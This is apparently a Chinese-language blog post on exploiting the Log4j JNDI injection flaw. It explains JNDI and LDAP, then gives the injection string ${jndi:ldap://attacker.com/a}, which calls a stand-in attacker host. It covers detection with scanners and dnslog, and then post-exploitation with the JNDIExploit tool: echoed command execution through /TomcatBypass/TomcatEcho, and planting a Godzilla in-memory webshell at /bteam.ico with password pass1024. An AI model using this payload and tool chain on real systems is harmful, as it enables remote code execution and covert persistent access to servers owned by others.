Administrator
发布于 2024-07-07 / 26 阅读
0

log4j任意命令执行漏洞的后利用

作为一个2年多前的漏洞,慢慢也开始替代shiro反序列化漏洞出现在各个攻防的场景,就该漏洞的后利用作出描述。

漏洞原理

JNDI

全称为:Java Naming and Directory Interface ,java命名和目录接口,刚开始我也始终不理解这个功能的含义,后面发现不必太过纠结于此,更多的是,心里有这么个东西即可,大概可以知道,jndi其实是一个Java应用程序的编程接口,也就是API,用于访问命名和目录服务。

示例:

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.sql.DataSource;
import java.sql.Connection;
import java.sql.SQLException;

public class JndiExample {
    public static void main(String[] args) {
        try {
            // 创建初始上下文
            Context ctx = new InitialContext();
            
            // 查找数据源
            DataSource ds = (DataSource) ctx.lookup("java:comp/env/jdbc/MyDataSource");
            
            // 获取数据库连接
            try (Connection conn = ds.getConnection()) {
                System.out.println("Connected to the database!");
            } catch (SQLException e) {
                e.printStackTrace();
            }
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

在上述示例中,InitialContext用于查找命名为java:comp/env/jdbc/MyDataSource的数据源,然后通过该数据源获取数据库连接。

LDAP

英文全称:Lightweight directory Access Protocol,中文全称:轻量级目录访问协议,是一种应用协议,是JNDI的一种底层实现

关键

1. JNDI Lookup:Log4j 2具有一个特性,可以在日志消息中使用${jndi:...}进行JNDI查找。这个查找功能允许从LDAP、RMI等目录服务中检索对象。

2. JNDI注入:如果日志消息包含一个未受信任的输入,并且该输入包含${jndi:ldap://attacker.com/a},Log4j 2将尝试进行JNDI查找。

3. 远程代码执行:如果攻击者控制了LDAP服务器或其他JNDI兼容的服务器,服务器可以返回一个恶意的Java对象。当Log4j 2从LDAP服务器接收到这个恶意对象时,它会在本地反序列化和执行这个对象,从而导致远程代码执行。

漏洞利用

探测

一般来说,可以利用各种burp插件或者被动扫描工具如xray(需要配置反向服务器)等进行漏洞探测,因为该漏洞可能会存在于http协议的任何位置。

漏洞存在,dnslog一般都会收到请求:

如果收到请求基本可以判断漏洞存在,随机进行后利用。

后利用

在确认漏洞存在后,可根据目标所使用的不同框架进行利用常见的有:toncat,springboot等。基本利用方式有:反弹shell,有回显命令执行,内存马注入。反弹shell一般只能用于Linux主机,并且动静过大很容易被安全设备检测出,当然了,其他也是半斤八两。

此次利用所需的工具为:JNDIExploit-1.4-SNAPSHOT.jar

在服务器运行该工具,会现实各种可以利用的payload,根据不同需求使用:

命令执行

这里直接使用/TomcatBypass/TomcatEcho进行有回显命令执行:

内存马注入

使用/TomcatBypass/GodzillaMemshell,可以直接打入哥斯拉内存马,路径为/bteam.ico,密码为pass1024。